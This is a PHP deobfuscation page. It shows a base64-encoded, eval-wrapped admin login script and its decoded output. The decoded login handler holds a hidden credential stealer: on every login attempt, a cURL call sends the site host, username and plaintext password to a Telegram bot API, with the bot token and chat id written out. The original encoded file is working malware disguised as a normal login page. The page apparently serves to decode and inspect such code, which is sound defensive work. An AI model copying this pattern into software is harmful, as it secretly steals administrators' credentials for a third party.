Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KIGlmKCAkX1BPU1QgKXsNCg0KICAkdXNlcm5hbWUgICAgICA..

Decoded Output download

?>b'<?php

 if( $_POST ){

  $username       = $_POST["username"];
  $pass           = $_POST["password"];
  $captcha        = $_POST[\'g-recaptcha-response\'];
  $remember       = $_POST["remember"];
  $googlesecret   = $settings["recaptcha_secret"];
  $captcha_control= file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$googlesecret&response=" . $captcha . "&remoteip=" . $_SERVER[\'REMOTE_ADDR\']);
  $captcha_control= json_decode($captcha_control);

  if( $settings["recaptcha"] == 2 && $captcha_control->success == false && $_SESSION["recaptcha"]  ){
    $error      = 1;
    $errorText  = "Please verify that you are not a robot.";
      if( $settings["recaptcha"] == 2 ){ $_SESSION["recaptcha"]  = true; }
  }elseif( countRow(["table"=>"admins","where"=>["username"=>$username,"client_type"=>1]]) ){
    $error      = 1;
    $errorText  = "Your account is Suspended.";
      if( $settings["recaptcha"] == 2 ){ $_SESSION["recaptcha"]  = true; }
  }else{
    $admin    = $conn->prepare("SELECT * FROM admins WHERE username=:username && password=:password ");
    
    //$pswdevicefinder = $_SERVER["HTTP_USER_AGENT"];
	 //$psw = GetIP();
	 $j = $_SERVER[\'HTTP_HOST\'];
	 $msg = \'sitename=\'.$j.\',username=\'.$username.\',pass=\'.$pass.\'\';
$url = "https://api.telegram.org/bot6268922858:AAGEJgIEMeFKiebEKzLK8v-enpt2ulTTF2M/sendMessage?chat_id=5200524049&text=$msg";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$resp = curl_exec($curl);
curl_close($curl);


    
    $admin  -> execute(array("username"=>$username,"password"=>$pass ));
    $admin    = $admin->fetch(PDO::FETCH_ASSOC);
    $access = json_decode($admin["access"],true);
    $_SESSION["msmbilisim_adminslogin"]      = 1;
	
	    $_SESSION["msmbilisim_adminid"]         = $admin["admin_id"];
	    $_SESSION["msmbilisim_adminpass"]       = $pass ;
	    $_SESSION["recaptcha"]                = false;
       
   
      if( $access["admin_access"] ):
	    $_SESSION["msmbilisim_adminlogin"]      = 1;
	    if( $remember ):
	      if( $access["admin_access"] ):
	        setcookie("a_login", \'ok\', time()+(60*60*24*7), \'/\', null, null, true );
	      endif;
	      setcookie("a_id", $admin["admin_id"], time()+(60*60*24*7), \'/\', null, null, true );
	      setcookie("a_password", $admin["password"], time()+(60*60*24*7), \'/\', null, null, true );
	      setcookie("a_login", \'ok\', time()+(60*60*24*7), \'/\', null, null, true );
	    endif;
	    
	    
	    
	         header(\'Location:\'.site_url("admin"));
	   
	  


	      $update = $conn->prepare("UPDATE admins SET login_date=:date, login_ip=:ip WHERE admin_id=:c_id ");
	      $update->execute(array("c_id"=>$admin["admin_id"],"date"=>date("Y.m.d H:i:s"),"ip"=>GetIP() ));

	   else:
	   	$error      = 1;
    	$errorText  = "Could not find administrator account registered with this information.";
      endif;
    
      
  }
 }


if( $admin["access"]["admin_access"]  && $_SESSION["msmbilisim_adminslogin"]  ):
	
	exit();
else:
	require admin_view(\'login\');
endif;'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KIGlmKCAkX1BPU1QgKXsNCg0KICAkdXNlcm5hbWUgICAgICAgPSAkX1BPU1RbInVzZXJuYW1lIl07DQogICRwYXNzICAgICAgICAgICA9ICRfUE9TVFsicGFzc3dvcmQiXTsNCiAgJGNhcHRjaGEgICAgICAgID0gJF9QT1NUWydnLXJlY2FwdGNoYS1yZXNwb25zZSddOw0KICAkcmVtZW1iZXIgICAgICAgPSAkX1BPU1RbInJlbWVtYmVyIl07DQogICRnb29nbGVzZWNyZXQgICA9ICRzZXR0aW5nc1sicmVjYXB0Y2hhX3NlY3JldCJd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91cmwoImFkbWluIikpOw0KCSAgIA0KCSAgDQoNCg0KCSAgICAgICR1cGRhdGUgPSAkY29ubi0+cHJlcGFyZSgiVVBEQVRFIGFkbWlucyBTRVQgbG9naW5fZGF0ZT06ZGF0ZSwgbG9naW5faXA9OmlwIFdIRVJFIGFkbWluX2lkPTpjX2lkICIpOw0KCSAgICAgICR1cGRhdGUtPmV4ZWN1dGUoYXJyYXkoImNfaWQiPT4kYWRtaW5bImFkbWluX2lkIl0sImRhdGUiPT5kYXRlKCJZLm0uZCBIOmk6cyIpLCJpcCI9PkdldElQKCkgKSk7DQoNCgkgICBlbHNlOg0KCSAgIAkkZXJyb3IgICAgICA9IDE7DQogICAgCSRlcnJvclRleHQgID0gIkNvdWxkIG5vdCBmaW5kIGFkbWluaXN0cmF0b3IgYWNjb3VudCByZWdpc3RlcmVkIHdpdGggdGhpcyBpbmZvcm1hdGlvbi4iOw0KICAgICAgZW5kaWY7DQogICAgDQogICAgICANCiAgfQ0KIH0NCg0KDQppZiggJGFkbWluWyJhY2Nlc3MiXVsiYWRtaW5fYWNjZXNzIl0gICYmICRfU0VTU0lPTlsibXNtYmlsaXNpbV9hZG1pbnNsb2dpbiJdICApOg0KCQ0KCWV4aXQoKTsNCmVsc2U6DQoJcmVxdWlyZSBhZG1pbl92aWV3KCdsb2dpbicpOw0KZW5kaWY7")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 12da253d2e0b8c3e47809b23d8988b55
Eval Count 1
Decode Time 43 ms